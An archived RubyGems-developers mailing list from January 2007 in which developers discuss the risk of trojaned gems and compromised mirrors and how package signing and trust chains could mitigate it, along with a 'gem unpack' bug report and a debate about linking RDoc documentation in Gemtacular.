Package in 3 Easy Steps(was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <20070117155848.GY15628@vault.home.pablotron.org> Message-ID: <002001c73a51$0604d350$0401000a@tomhplaptop> > > Hm, but that gem wouldn't be deployed on the RubyForge gem index > > unless it was uploaded to the rails project on RubyForge... so only > > folks who deliberately downloaded the gem from your project > area would > > get p0wnd... > > That's a good start, but it doesn't address the situation > where one of the mirrors or RubyForge itself is compromised, > and a malicious gem is forcibly inserted into the rotation. Oh, yup, you're quite right there. I agree with your comments about gem signing and such too... but I'm not sure how to help make that happen... Yours, Tom From halostatue at gmail.com Wed Jan 17 08:23:14 2007 From: halostatue at gmail.com (Austin Ziegler) Date: Wed, 17 Jan 2007 08:23:14 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <1169031575.2943.46.camel@bugs.hal> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> <1169031575.2943.46.camel@bugs.hal> Message-ID: <9e7db9110701170523j7ae37db9we6f6297f3669ba35@mail.gmail.com> On 1/17/07, Tom Copeland wrote: > On Tue, 2007-01-16 at 23:05 -0500, Paul Duncan wrote: > > if I > > wanted to install a trojan on thousands of peoples' machines, all I'd > > need to do would be to build a malicious gem (see below), called > > "rails-2.0" and upload it to my gem directory, then sit and wait. > Hm, but that gem wouldn't be deployed on the RubyForge gem index unless > it was uploaded to the rails project on RubyForge... so only folks who > deliberately downloaded the gem from your project area would get > p0wnd... How does that work, Tom? PDF::Writer's gem is pdf-writer but is on the ruby-pdf project. Transaction::Simple is (I believe) transaction-simple, but the project name is trans-simple (stupid 15 character project name limit). -austin -- Austin Ziegler * halostatue at gmail.com * http://www.halostatue.ca/ * austin at halostatue.ca * http://www.halostatue.ca/feed/ * austin at zieglers.ca From tom at infoether.com Wed Jan 17 13:42:34 2007 From: tom at infoether.com (Tom Copeland) Date: Wed, 17 Jan 2007 13:42:34 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps(was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <9e7db9110701170523j7ae37db9we6f6297f3669ba35@mail.gmail.com> Message-ID: <000201c73a67$416ca470$0401000a@tomhplaptop> > > Hm, but that gem wouldn't be deployed on the RubyForge gem index > > unless it was uploaded to the rails project on RubyForge... so only > > folks who deliberately downloaded the gem from your project > area would > > get p0wnd... > > How does that work, Tom? PDF::Writer's gem is pdf-writer but > is on the ruby-pdf project. Transaction::Simple is (I > believe) transaction-simple, but the project name is > trans-simple (stupid 15 character project name limit). Right, because it's a namespace thing. The first project to "stake a claim" wins. So you could release an asteroids-0.1.gem on your project, and then no one else could release an asteroids gem. Yours, Tom From thewoolleyman at gmail.com Wed Jan 17 16:12:15 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Wed, 17 Jan 2007 14:12:15 -0700 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps(was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <002001c73a51$0604d350$0401000a@tomhplaptop> References: <20070117155848.GY15628@vault.home.pablotron.org> <002001c73a51$0604d350$0401000a@tomhplaptop> Message-ID: Maybe we could investigate how the Maven folks handle this problem. I know they had to address similar security concerns related to their central repository, and have had a few years (and a major redesign in Maven2) to think about the problem. -- Chad On 1/17/07, Tom Copeland wrote: > > > Hm, but that gem wouldn't be deployed on the RubyForge gem index > > > unless it was uploaded to the rails project on RubyForge... so only > > > folks who deliberately downloaded the gem from your project > > area would > > > get p0wnd... > > > > That's a good start, but it doesn't address the situation > > where one of the mirrors or RubyForge itself is compromised, > > and a malicious gem is forcibly inserted into the rotation. > > Oh, yup, you're quite right there. I agree with your comments about gem > signing and such too... but I'm not sure how to help make that happen... > > Yours, > > Tom > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > From pabs at pablotron.org Wed Jan 17 19:44:09 2007 From: pabs at pablotron.org (Paul Duncan) Date: Wed, 17 Jan 2007 19:44:09 -0500 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> Message-ID: <20070118004409.GZ15628@vault.home.pablotron.org> * Hugh Sasse (hgs at dmu.ac.uk) wrote: > On Tue, 16 Jan 2007, Paul Duncan wrote: > > > The _really_ bad news is this type of attack became a whole lot easier > > once RubyGems started using mirrors. Instead of worrying about a > > malicious user breaking into one machine (rubyforge.org), we now have to > > worry about them breaking into N machines, where N is the number of > > Gem mirrors. > > That's "breaking into any one of N machines" I take it? Having to > hack more than one would make it stronger, but 1 of N weaker... What I'm saying is that instead of having only one door to knock on, now a malicious user has N doors to knock on, where N is the number of servers. Even though having mirrors reduces the number of users that would be affected by a break in, it still reduces overall security because it increases the number of critical machines, and (by extension) the chances that one of them could be compromised. Let's say the malicious user finds a way to break into one of the mirrors (through a bug in OpenSSH, Apache, or whatever). Now they place a trojaned gem in the mirror gem list, muddle with the configuration a little bit so the file isn't properly updated when RubyForge pushes out changes. Since RubyForge uses a round-robin DNS entry for deploying gems, that means that 1/N users that install the gem in question will now get a malicious, trojaned version of that gem file. > > The only way to completely eliminate this type of attack would be to > > force gem authors to sign their gems, create an author certificate > > distribution mechanism (or tie it to some sort of existing trust > > mechanism like X.509 or PGP keyservers [1]), remove all the unsigned > > gems from the Gem repositories, and (finally) enable signature checking > > by default in RubyGems. > > > > Frankly, I don't see all of that (or any of it, really) happening any > > time soon. > > > > I'd prefer to not get into all that as well. Doing cryptography right, > keeping the keys somewhere useful but sufficiently inaccessible, coping > with the (changes in) cryptography legislation: it's all rather horrible. RubyGems already includes cryptographic package signing (written by yours truly). There's also an entire chapter of the RubyGems manual dedicated to creating a certificate and signing your gems (linked below), so the next step is really raising developer awareness. Here's the chapter on RubyGems package signing: http://rubygems.org/read/chapter/21 So the actual crypto part is already mostly complete; support for CRL checking and OCSP validation are missing, along with a couple of other useful bits, but nothing that's too hard to add and nothing that's absolutely essential for crypographically signing and verifying packages right now. Unfortunately, the actual crypto isn't the hard part. The hard part is getting developers to adopt it. I feel like the documentation is adequate, and I also posted an entry on my web site that has a relatively automagic gem signing blurb that can be dropped into a Rakefile or Gem specification. Here it is: http://pablotron.org/?cid=1510 (Ignore the first paragraph about the Rake patch and skip to the later bit about gem signing). Another "hard" aspect is trust (I alluded to this in the paragraph you quoted above). Specifically, how can a user be sure a particular certificate (or public key) is associated with the author of a given gem? X.509 public key infrastructure (PKI) addresses trust with a comparably rigid hierarchy of signed certificates (a "trust chain") that ultimately ends with an end user-trusted certificate, while PGP addresses trust by having both certificates and certificates' cross-signatures [1] distributed widely across PGP keyservers (aka, the "web of trust"). Traversing the path between the signing certificate and a known, trusted certificate allows users to cryptographically validate the authenticity of the message they've received and (in theory, anyway), be reasonably certain [2] the message contents haven't been tampered with by an intermediate party, malicious or not. So, in order for a RubyGems end user to "trust" a package, we need either an established X.509 PKI trust hierarchy (including pre-packaged, root issuing certificates, some sort of security policy, and preferrably a CRL distribution point and OCSP responder as well) or a bridge to PGP's web of trust. Since RubyGems currently has neither, here's what the one developer who regularly signs his gems (me) does to provide a reasonable trust path for end users: * Signed my gems using my gem signing certificate. The chapter in the RubyGems documentation I mentioned above has instructions for this step. It's just a standard PEM-encoded X.509 certificate, so you can build your own using OpenSSL, TinyCA (Unix variants), MyCert (Windows), or whatever you've got handy. * PGP-signed the certificate for my issuing CA and my Gem signing certificate, and posted both certificates and their signatures on my web site (at http://pablotron.org/files/certs/). * Added extra documentation to several packages explaining how to verify these certificates against my PGP public key and to verify the package signature when installing the Gem (see the last section of http://pablotron.org/software/rubilicious/release_notes-0.2.0.txt for an example). While this doesn't completely eliminate the trust issues, I feel as though it mitigates them enough for "reasonable" [2] use: there are over half a decade of messages written by me and signed by my public key stored across multiple email archives, and a user can easily verify the validity the signature of any of them against the PGP public key on my web site and any of the bajillion [3] PGP keyservers that are available world-wide. Obviously this is more work than most gem authors should be expected to do, which is why it'd be nice to have the aforementioned trust mechanism in place. Even something as simple as a button to upload your signing key(s) to RubyForge and an ominous-sounding warning from RubyGems when installing unsigned gems would be better what we've got now, which is nothing. > Is there any merit in this suggestion, below? No. It has several problems: * It doesn't actually say whether a particular gem is legitimate; it says that the gem is the same as it is on the other servers. A malicious user that broke in to a server would almost certainly disable this check immediately. And it doesn't address malicious gems that are uploaded direcly to the master RubyForge server. * It has a time dependency; there's no way for any of the mirrors to actually verify the digest of a particular package until other mirror servers have the package, and each of them have the same problem as well. * It requires both network access and knowledge of several gem mirrors on the client-side in order to "verify" a gem. > > SHA256 hashes of the gems are kept on at least 3 servers. A gem is accepted > from a mirror if it's hash agrees with a majority of the responses from > those servers. > > Pluses: > Ruby contains the code for SHA256 in the standard library and it's better > than md5 (harder work to fake). Maybe both together would be stronger. SSL interpolates the output of multiple hash algorithms in several places. > To plant a fake gem would mean breaking into a majority of the hash > servers, rather than just one machine Or subverting DNS on the client side and redirecting requests for known gem repositories to a site the attacker controls. > It would be somewhat less prone to network/host outages iff there are > >3 servers > > Minuses: > It's still pretty weak. Agreed (see my notes above). > we need some mechanism to prevent the data being replicated (falsely) > across a majority/all the servers > > How do we keep people up to date with where the servers are, which > can be trusted, etc, without weakening security? "Key under the > doormat" problem. (security = 1/convenience) > > Interesting: > > Could be applied to more than just the gems. > > > I'm sure this is really rather naive, and what I've read about NOT > implementing security systems from the ground up leads me to believe > that this idea should probably be killed sooner rather than later, > but in the hope that it is an improvement over where we are now, I > will risk my global display of ignorance.... Agreed on the sooner part, for the reasons mentioned above and a couple more that I've omitted for the sake of brevity. (Yes, that's right; I actually left a bunch of stuff out of this message). > Hugh [1] PGP actually has several additional useful concepts that don't translate directly to X.509, like "trust level" and "sub keys", but we'll pretend they doesn't exist for the duration this email. Unless you want a book instead of just a really lengthy response, that is. :) [2] I keep throwing around this "reasonable" term. Reasonably certain or reasonably secure is a concept that's entirely relative to the situation at hand. An end user being "reasonably sure" a certificate is valid can range from verifying a key obtained from a PGP keyserver against a handful of randomly picked messages from different mail archives, all the way up to meeting the person face to face and personally verifying the accuracy of the person's drivers license, and passport along with their PGP fingerprint. On the signing side, keeping a private signing key "reasonably secure" can range from keeping it encrypted on a thumb drive all the way up to keeping the key on a smart card in a locked cabinet of a non-network-accessible lab that's behind a 6-inch steel door which requires badge access and is monitored by cameras and protected by a metal detector and several armed security guards. Personally, I keep the private key for the the root certificate of my signing CA encrypted saved on an encrypted partition (different algorithms and passphrases), which is stored on a locked-down machine that's firewalled off from the rest of the world. I consider that arrangement more than "reasonably" secure for the CA's purposes: issuing the certificates for my home VPN and for my signed RubyGems packages. [3] Okay, maybe not a bajillion. But a reasonably large number. Damn, there's that "reasonable" word again. PS. I don't usually toot my own horn, but if you're still reading this far and find this kind of stuff interesting, there are a couple additional posts I've written in the last week or so that deal with security, identity, and trust. The posts are available at the following URLs: http://programming.reddit.com/info/xqnp/comments/cxt6j http://programming.reddit.com/info/xqnp/comments/cxtrj http://hellojoseph.com/298/setting-up-apache-ssl-encryption-should-not-be-this-complicated (for the last one, scroll down to see my response to Sean's post) -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070117/cbe58123/attachment-0001.bin From dsisnero at gmail.com Wed Jan 17 21:03:00 2007 From: dsisnero at gmail.com (Dominic Sisneros) Date: Wed, 17 Jan 2007 19:03:00 -0700 Subject: [Rubygems-developers] gem unpack broken in 0.9.1 Message-ID: gem unpack chronic --backtrace ERROR: While executing gem ... (ArgumentError) install directory "chronic-0.1.6" not absolute /usr/local/lib/site_ruby/1.8/rubygems/installer.rb:351:in `extract_files' /usr/local/lib/site_ruby/1.8/rubygems/installer.rb:140:in `unpack' /usr/local/lib/site_ruby/1.8/rubygems/gem_commands.rb:1412:in `execute' /usr/local/lib/site_ruby/1.8/rubygems/command.rb:70:in `invoke' /usr/local/lib/site_ruby/1.8/rubygems/cmd_manager.rb:120:in `process_args' /usr/local/lib/site_ruby/1.8/rubygems/cmd_manager.rb:91:in `run' /usr/local/lib/site_ruby/1.8/rubygems/gem_runner.rb:30:in `run' /usr/bin/gem:23 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070117/535ff7c7/attachment.html From drbrain at segment7.net Wed Jan 17 21:16:59 2007 From: drbrain at segment7.net (Eric Hodel) Date: Wed, 17 Jan 2007 18:16:59 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070116221159.GW15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> Message-ID: <5A12AD0E-2794-402A-9566-F470F055519E@segment7.net> On Jan 16, 2007, at 14:11, Paul Duncan wrote: > Easy is certainly subjective, but there are a couple ways to "fix" the > documentation hole: > > * RubyGems could pre-generate documentation and just copy it into > place (I don't like this solution; it makes gems significantly > larger). > * RubyGems should create an initial documentation directory > elsewhere, then drop root permissions (maybe even chroot() as well) > and generate the documentation as a user with no privileges in the > safe location, then move the generated documentation into place. > > The second option is preferrable, and it's actually a lot easier to > implement than it sounds. I have a half-working patch that I can > clean > up and submit if there's any interest. Basically it just creates a > copy > of the source in a temporary directory, then forks a child > process which chroot() itself and drops it's permissions before > generating any documentation. The parent waits for the child to exit, > then copies the generated documentation into place. Can you post this one to the tracker? > Unfortunately that doesn't really fix much of anything, because it > only > closes off the huge security hole in documentation generation. It > doesn't prevent a malicious user from trojaning an existing gem and > adding files or replacing legitimate code with pretty much > whatever they want. > > The _really_ bad news is this type of attack became a whole lot easier > once RubyGems started using mirrors. Instead of worrying about a > malicious user breaking into one machine (rubyforge.org), we now > have to > worry about them breaking into N machines, where N is the number of > Gem mirrors. > > The only way to completely eliminate this type of attack would be to > force gem authors to sign their gems, create an author certificate > distribution mechanism (or tie it to some sort of existing trust > mechanism like X.509 or PGP keyservers [1]), remove all the unsigned > gems from the Gem repositories, and (finally) enable signature > checking > by default in RubyGems. > > Frankly, I don't see all of that (or any of it, really) happening any > time soon. Could we mitigate that by including a list of SHA1s of packages on the rubyforge gem server, and use it to validate packages from mirrors? > The idea behind all the above steps is to assume the contents of > packages can and eventually will be tinkered with, and to provide a > way > for users to be reasonably certain that nothing fishy has happened to > packages once they're out of the authors' hands and on the Gem > repositories. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From transfire at gmail.com Wed Jan 17 21:27:46 2007 From: transfire at gmail.com (TRANS) Date: Wed, 17 Jan 2007 21:27:46 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: Message-ID: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> On 1/13/07, Anthony Eden wrote: > I've just deployed an update to gemtacular which links to the rdocs > which are generated on the server. This is currently experimental as I > am aware that some gems cannot be rdoc'd without errors, however for > most gems there are at least *some* sort of rdocs in there. > > To get to the RDoc links you need to actually view the details about a > gem...eventually I'll make the latest RDoc'd version available in > lists as well. > > Comments and suggestions are welcome. Might be nice if the gemspec has a field for a url to the rdocs. Then the server wouldn't need to generate all of them -- only the ones that lacked the url. This would allow those who supply the url to fashion the rdocs according to the project's needs (ex- Facets has two sets of rdocs, trying to make one set out of it makes a mess.) t. From anthonyeden at gmail.com Wed Jan 17 21:31:55 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 17 Jan 2007 21:31:55 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> Message-ID: I'd probably still keep the docs up there since they are versioned and provide a reasonable fallback, but I agree that providing a link to the docs in the gemspec is not a bad idea. If that existed I'd make it the first link to documentation *above* all of the gemtacular generated ones. V/r Anthony On 1/17/07, TRANS wrote: > On 1/13/07, Anthony Eden wrote: > > I've just deployed an update to gemtacular which links to the rdocs > > which are generated on the server. This is currently experimental as I > > am aware that some gems cannot be rdoc'd without errors, however for > > most gems there are at least *some* sort of rdocs in there. > > > > To get to the RDoc links you need to actually view the details about a > > gem...eventually I'll make the latest RDoc'd version available in > > lists as well. > > > > Comments and suggestions are welcome. > > Might be nice if the gemspec has a field for a url to the rdocs. Then > the server wouldn't need to generate all of them -- only the ones that > lacked the url. This would allow those who supply the url to fashion > the rdocs according to the project's needs (ex- Facets has two sets of > rdocs, trying to make one set out of it makes a mess.) > > t. > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Cell: 808 782-5046 Current Location: Melbourne, FL From drbrain at segment7.net Wed Jan 17 21:36:47 2007 From: drbrain at segment7.net (Eric Hodel) Date: Wed, 17 Jan 2007 18:36:47 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070118004409.GZ15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <20070118004409.GZ15628@vault.home.pablotron.org> Message-ID: Your message is lengthy, so forgive me if I trim too vigorously. On Jan 17, 2007, at 16:44, Paul Duncan wrote: > Unfortunately, the actual crypto isn't the hard part. > > The hard part is getting developers to adopt it. I feel like the > documentation is adequate, and I also posted an entry on my web site > that has a relatively automagic gem signing blurb that can be dropped > into a Rakefile or Gem specification. Here it is: > > http://pablotron.org/?cid=1510 > (Ignore the first paragraph about the Rake patch and skip to the > later > bit about gem signing). Rake::PackageTask and Hoe are your vectors here. If the change is that small, I can put it into Hoe. Actually, why can't RubyGems just look in ~/.gemrc for these things? Makes for one less step, and will work right around PackageTask and Hoe. > Another "hard" aspect is trust (I alluded to this in the paragraph you > quoted above). Specifically, how can a user be sure a particular > certificate (or public key) is associated with the author of a given > gem? > > So, in order for a RubyGems end user to "trust" a package, we need > either an established X.509 PKI trust hierarchy (including pre- > packaged, > root issuing certificates, some sort of security policy, and > preferrably > a CRL distribution point and OCSP responder as well) or a bridge to > PGP's web of trust. I think you're the expert here, how do we get any of this going? Which is best? > Obviously this is more work than most gem authors should be > expected to > do, which is why it'd be nice to have the aforementioned trust > mechanism > in place. Even something as simple as a button to upload your signing > key(s) to RubyForge and an ominous-sounding warning from RubyGems when > installing unsigned gems would be better what we've got now, which is > nothing. > PS. I don't usually toot my own horn, but if you're still reading this > far and find this kind of stuff interesting, there are a couple > additional posts I've written in the last week or so that deal with > security, identity, and trust. The posts are available at the > following > URLs: > > http://programming.reddit.com/info/xqnp/comments/cxt6j > http://programming.reddit.com/info/xqnp/comments/cxtrj > http://hellojoseph.com/298/setting-up-apache-ssl-encryption- > should-not-be-this-complicated > (for the last one, scroll down to see my response to Sean's post) > > -- > Paul Duncan OpenPGP Key ID: 0x82C29562 > http://www.pablotron.org/ http://www.paulduncan.org/ > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Wed Jan 17 21:37:52 2007 From: drbrain at segment7.net (Eric Hodel) Date: Wed, 17 Jan 2007 18:37:52 -0800 Subject: [Rubygems-developers] gem unpack broken in 0.9.1 In-Reply-To: References: Message-ID: File a bug. http://rubyforge.org/tracker/?atid=575&group_id=126&func=browse -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From hgs at dmu.ac.uk Thu Jan 18 05:20:19 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 18 Jan 2007 10:20:19 +0000 (WET) Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070118004409.GZ15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <20070118004409.GZ15628@vault.home.pablotron.org> Message-ID: On Wed, 17 Jan 2007, Paul Duncan wrote: > * Hugh Sasse (hgs at dmu.ac.uk) wrote: > > On Tue, 16 Jan 2007, Paul Duncan wrote: > > > > > The _really_ bad news is this type of attack became a whole lot easier > > > once RubyGems started using mirrors. Instead of worrying about a > > > malicious user breaking into one machine (rubyforge.org), we now have to > > > worry about them breaking into N machines, where N is the number of > > > Gem mirrors. > > > > That's "breaking into any one of N machines" I take it? Having to > > hack more than one would make it stronger, but 1 of N weaker... > > What I'm saying is that instead of having only one door to knock on, now > a malicious user has N doors to knock on, where N is the number of > servers. > > Even though having mirrors reduces the number of users that would be > affected by a break in, it still reduces overall security because it > increases the number of critical machines, and (by extension) the > chances that one of them could be compromised. Yes. If your house only has a door it is more secure than if it has windows as well. [...] > > I'd prefer to not get into all that as well. Doing cryptography right, > > keeping the keys somewhere useful but sufficiently inaccessible, coping > > with the (changes in) cryptography legislation: it's all rather horrible. > > RubyGems already includes cryptographic package signing (written by Oh, I'd missed that. It's a while since I really explored the source. > yours truly). There's also an entire chapter of the RubyGems manual > dedicated to creating a certificate and signing your gems (linked Missed that too. > below), so the next step is really raising developer awareness. Here's > the chapter on RubyGems package signing: > > http://rubygems.org/read/chapter/21 Thanks > > So the actual crypto part is already mostly complete; support for CRL [...] > > Unfortunately, the actual crypto isn't the hard part. > > The hard part is getting developers to adopt it. I feel like the > documentation is adequate, and I also posted an entry on my web site > that has a relatively automagic gem signing blurb that can be dropped > into a Rakefile or Gem specification. Here it is: > > http://pablotron.org/?cid=1510 > (Ignore the first paragraph about the Rake patch and skip to the later > bit about gem signing). OK, I'll have a look at that > > Another "hard" aspect is trust (I alluded to this in the paragraph you > quoted above). Specifically, how can a user be sure a particular > certificate (or public key) is associated with the author of a given > gem? Yes, this is very difficult to do, and the 1/convenience applies too. (There are opposing forces here: we need more gems, but we need to make the process (more secure == less convenient).) > [lots of well informed cryptography stuff trimmed. Thank you.] > > Obviously this is more work than most gem authors should be expected to > do, which is why it'd be nice to have the aforementioned trust mechanism > in place. Even something as simple as a button to upload your signing > key(s) to RubyForge and an ominous-sounding warning from RubyGems when > installing unsigned gems would be better what we've got now, which is > nothing. > > > Is there any merit in this suggestion, below? > > No. It has several problems: > > * It doesn't actually say whether a particular gem is legitimate; it > says that the gem is the same as it is on the other servers. A > malicious user that broke in to a server would almost certainly I was thinking of the check being done by the client... > disable this check immediately. And it doesn't address malicious gems > that are uploaded direcly to the master RubyForge server. There would be no master. It would be majority logic. > * It has a time dependency; there's no way for any of the mirrors to > actually verify the digest of a particular package until other mirror > servers have the package, and each of them have the same problem as > well. That's pretty difficult to solve. I agree. Even if the client does the checking, one would need some way to stop the servers accepting any old junk. > * It requires both network access and knowledge of several gem mirrors > on the client-side in order to "verify" a gem. yes, which completely ruins offline use. Damn! I concede defeat :-) > > > [...] > > Ruby contains the code for SHA256 in the standard library and it's better > > than md5 (harder work to fake). Maybe both together would be stronger. > > SSL interpolates the output of multiple hash algorithms in several > places. Thanks. I was unfamiliar with the internals. > > > To plant a fake gem would mean breaking into a majority of the hash > > servers, rather than just one machine > > Or subverting DNS on the client side and redirecting requests for known > gem repositories to a site the attacker controls. Like I said, it's always more subtle! :-) > > > It would be somewhat less prone to network/host outages iff there are > > >3 servers > > > > Minuses: > > It's still pretty weak. > > Agreed (see my notes above). > [...] > > I'm sure this is really rather naive, and what I've read about NOT > > implementing security systems from the ground up leads me to believe > > that this idea should probably be killed sooner rather than later, [...] > > Agreed on the sooner part, for the reasons mentioned above and a couple > more that I've omitted for the sake of brevity. > > (Yes, that's right; I actually left a bunch of stuff out of this > message). :-) [lots more good crypto stuff trimmed] Thank you, Hugh From chad at chadfowler.com Thu Jan 18 11:10:02 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 18 Jan 2007 11:10:02 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> Message-ID: On 1/17/07, TRANS wrote: > On 1/13/07, Anthony Eden wrote: > > I've just deployed an update to gemtacular which links to the rdocs > > which are generated on the server. This is currently experimental as I > > am aware that some gems cannot be rdoc'd without errors, however for > > most gems there are at least *some* sort of rdocs in there. > > > > To get to the RDoc links you need to actually view the details about a > > gem...eventually I'll make the latest RDoc'd version available in > > lists as well. > > > > Comments and suggestions are welcome. > > Might be nice if the gemspec has a field for a url to the rdocs. Then > the server wouldn't need to generate all of them -- only the ones that > lacked the url. This would allow those who supply the url to fashion > the rdocs according to the project's needs (ex- Facets has two sets of > rdocs, trying to make one set out of it makes a mess.) Sounds like a pretty serious edge case to me. RDoc isn't something you generally make a link to. It's something that lives inside your source and is generated. For all but the rare edge case, I think this would go unused. Chad From transfire at gmail.com Thu Jan 18 12:23:44 2007 From: transfire at gmail.com (TRANS) Date: Thu, 18 Jan 2007 12:23:44 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> Message-ID: <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> On 1/18/07, Chad Fowler wrote: > Sounds like a pretty serious edge case to me. RDoc isn't something > you generally make a link to. It's something that lives inside your > source and is generated. For all but the rare edge case, I think this > would go unused. Then there has to be a way to dictate proper generation doesn't there? It's going awefully far to designate something an "edge case" b/c it doesn't conform to RDoc documentation. What if someone wants to use a different doc system... What if someone writes a program in such a way that RDoc can't even handle it well --that's rather easy actually. All this "lock-in". Rubyworld seems to be getting extreme when it comes to convention over configuration. T. From chad at chadfowler.com Thu Jan 18 12:33:58 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 18 Jan 2007 12:33:58 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> Message-ID: On 1/18/07, TRANS wrote: > On 1/18/07, Chad Fowler wrote: > > > Sounds like a pretty serious edge case to me. RDoc isn't something > > you generally make a link to. It's something that lives inside your > > source and is generated. For all but the rare edge case, I think this > > would go unused. > > Then there has to be a way to dictate proper generation doesn't there? > It's going awefully far to designate something an "edge case" b/c it > doesn't conform to RDoc documentation. What if someone wants to use a > different doc system... What if someone writes a program in such a way > that RDoc can't even handle it well --that's rather easy actually. > What if someone wanted to not use Ruby at all? From hgs at dmu.ac.uk Thu Jan 18 13:02:49 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 18 Jan 2007 18:02:49 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> Message-ID: On Thu, 18 Jan 2007, Chad Fowler wrote: > On 1/18/07, TRANS wrote: > > On 1/18/07, Chad Fowler wrote: > > > > > Sounds like a pretty serious edge case to me. RDoc isn't something > > > you generally make a link to. It's something that lives inside your > > > source and is generated. For all but the rare edge case, I think this > > > would go unused. > > > > Then there has to be a way to dictate proper generation doesn't there? > > It's going awefully far to designate something an "edge case" b/c it > > doesn't conform to RDoc documentation. What if someone wants to use a > > different doc system... What if someone writes a program in such a way > > that RDoc can't even handle it well --that's rather easy actually. > > > > What if someone wanted to not use Ruby at all? :-) Should I hold your coat? :-) There is a way to declare what rdoc options to use, which would determine better generation, but it might be possible to tell it to use something other than rdoc, and use the options for that. Or the rdoc options could he kept for if/when rdoc is used, and since this is YAML one could have an array of alternative doc systems and a corresponding array of of options. Or maybe a hash. I'm not sure that one can assert YAGNI in this case: we live in a world with LaTeX, Lout and DocBook. On the gems homepage should there not be a link to Gemtacular, now that it has been blessed (erm, not in the Perl sense...)? Speaking of where the docs might live, I wonder if it would be useful to have something like: gem docs # show where the docs live on your system gem docs mygem # show where the docs are for mygem on your system gem servedocs [mygem] # Spin up a webrick/mongrel/... for you to point # your browser at to view said docs. But this is just thinking out loud. A look through the help of 0.9.0.8 doesn't seem to have something like this already It wouldn't be the first time I've missed something, if I have. Hugh From drbrain at segment7.net Thu Jan 18 13:59:29 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 18 Jan 2007 10:59:29 -0800 Subject: 